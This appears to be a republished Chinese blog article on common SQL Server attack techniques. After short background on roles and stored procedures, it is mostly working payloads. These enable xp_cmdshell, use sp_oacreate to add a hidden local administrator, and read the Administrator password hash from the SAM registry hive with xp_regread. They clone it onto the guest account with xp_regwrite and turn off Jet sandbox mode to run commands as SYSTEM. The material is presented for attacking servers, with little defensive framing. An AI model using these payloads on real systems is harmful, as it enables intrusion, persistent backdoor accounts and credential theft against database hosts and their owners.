一些基础:
Mssql是什么:
mssql的英文全称是Microsoft SQL Server,一般简称MS-SQL或SQL Server;它是指微软的SQLServer数据库服务器,是一个关系型数据库管理系统。
mssql的用户权限
Mssql数据库是可以选择以windows用户密码进行登录的
数据库角色的成员可以分为如下几类:
Windows用户组或用户账户
SQL Server登录
其他角色
说 明
sysadmin 执行SQL Server中的任何动作
serveradmin 配置服务器设置
setupadmin 安装复制和管理扩展过程
securityadmin 管理登录和CREATE DATABASE的权限以及阅读审计
processadmin 管理SQL Server进程
dbcreator 创建和修改数据库diskadmin 管理磁盘文件
Sa用户
sa用户是系统管理员的登录。Sa用户具有所有可能的关于系统管理工作的权限。在SQL Server 2005中,sa登录保持了向后兼容性。sa登录永远是固定服务器角色syadmin中的成员,并且不能从该角色中删除。
Mssql端口:1433
储存过程:
存储过程 Procedure 是一组为了完成特定功能的 SQL 语句集合,经编译后存储在数据库中,用户通过指定存储过程的名称并给出参数来执行。
存储过程中可以包含逻辑控制语句和数据操纵语句,它可以接受参数、输出参数、返回单个或多个结果集以及返回值。
Sqlserver的提权主要依赖其的储存过程
储存过程主要分为三类:
1系统存储过程主要存储在master数据库中,以sp_为前缀,在任何数据库中都可以调用,在调用的时候不必在存储过程前加上数据库名;
2扩展存储过程则是对动态链接库(DLL)函数的调用,主要是用于客户端与服务器端或客户端之间进行通信的,以xp_为前缀,使用方法与系统存储过程类似;
3用户定义的存储过程是SQLServer的使用者编写的存储过程。
Sqlserver的权限:
Sqlserver在windows服务中的权限是不小的,在Windows server类的操作系统上,默认具有system权限,所以我们才会通过Sqlserver执行命令,来进行提权操作
xp_cmd提权:
xp_cmdshell:
它是可以用来执行系统命令的,但该组件默认是关闭的。因此需要把它打开。xp_cmdshell默认在mssql2000中是开启的,在mssql2005之后的版本中则默认禁止。如果用户拥有管理员sa权限则可以用sp_configure重新开启它
Exec:执行存储过程:如 EXEC SP_XXX
Econfigure:更新保存配置
sp_configure储存过程可显示或更改当前服务器的全局配置设置
开启xp_cmd扩展功能:
use master;
exec sp_configure ‘show advanced options’,1;
reconfigure;
exec sp_configure ‘xp_cmdshell’,1;
reconfigure;
如果xp_cmdshell被删除,上传xplog70.dll可恢复:
exec master.sys.sp_addextendedproc ‘xp_cmdshell’, C:\xxxx\xplog70.dll
sp_oacreate提权:
spoacreate是一个非常危险的存储过程可以删除、复制、移动文件 还能配合spoamethod 来写文件执行cmd,在xp_cmdshell被删除或者出错情况下,可以充分利用SP_OACreate进行提权
启用sp_oacreate:
EXEC sp_configure ‘show advanced options’, 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure ‘Ole Automation Procedures’, 1;
RECONFIGURE WITH OVERRIDE;
执行命令:
declare @shell int;
exec sp_oacreate ‘wscript.shell’,@shell output;
exec sp_oamethod @shell,‘run’,null,‘c:\windows\system32\cmd.exe /c net user test test /add’;
exec sp_oamethod @shell,‘run’,null,‘c:\windows\system32\cmd.exe /c net localgroup administrators test /add’
xp_regread 与 xp_regwrite提权:
xp_regread 与 xp_regwrite是可以直接访问我们的注册表的,(注册表是windows系统中的一个重要的数据库“注册表即Registry是Windows系统中的一个重要的数据库,用于存储系统和应用程序的设置信息;其中存放着各种参数,直接控制着windows的启动、硬件驱动程序的装载以及一些windows应用程序的运行,从而在整个系统中起着核心作用。 )这样的话我们就可以通过修改注册表,来对目标机器的账户进行克隆。
Administrator密码:
获取administrator的加密密码:
xp_regread ‘HKEY_LOCAL_MACHINE’,‘SAM\SAM\Domains\Account\Users\000001F4’,‘F’;
将administrator用户的配置给gu覆盖到guest账号: xp_regwrite ‘HKEY_LOCAL_MACHINE’,‘SAM\SAM\Domains\Account\Users\000001F5’,‘F’,‘reg_binary’,0x02000100000000007534DD020BBBD00100000000000000008F0DDDB07DD3D80100000000000000000000000000000000F401000001020000110200000000000000000100010000000000000000000000;
沙盒提权:
1,access可以调用VBS的函数,以System权限执行任意命令
2,Access执行这个命令是有条件的,需要一个开关被打开
3,这个开关在注册表里
4,SA是有权限写注册表的
5,用SA写注册表的权限打开那个开关
6,调用Access里的执行命令方法,以system权限执行任意命令执行SQL命令,执行了以下命令
Payload:
激活沙盒模式1:
exec master…xp_regwrite ‘HKEY_LOCAL_MACHINE’,‘SOFTWARE\Microsoft\Jet\4.0\Engines’,‘SandBoxMode’,‘REG_DWORD’,0;–
激活沙盒模式2:
exec master…xp_regwrite ‘HKEY_LOCAL_MACHINE’,‘SOFTWARE\Wow6432Node\Microsoft\Jet\4.0\Engines’,‘SandBoxMode’,‘REG_DWORD’,0;文章来源:https://www.toymoban.com/news/detail-446780.html
执行命令:
select * From OpenRowSet(‘Microsoft.Jet.OLEDB.4.0’,‘;Database=c:\windows\system32\ias\ias.mdb’,‘select shell(“net user >c:\1.txt ")');文章来源地址https://www.toymoban.com/news/detail-446780.html
到了这里,关于SqlServer常见攻击手法的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!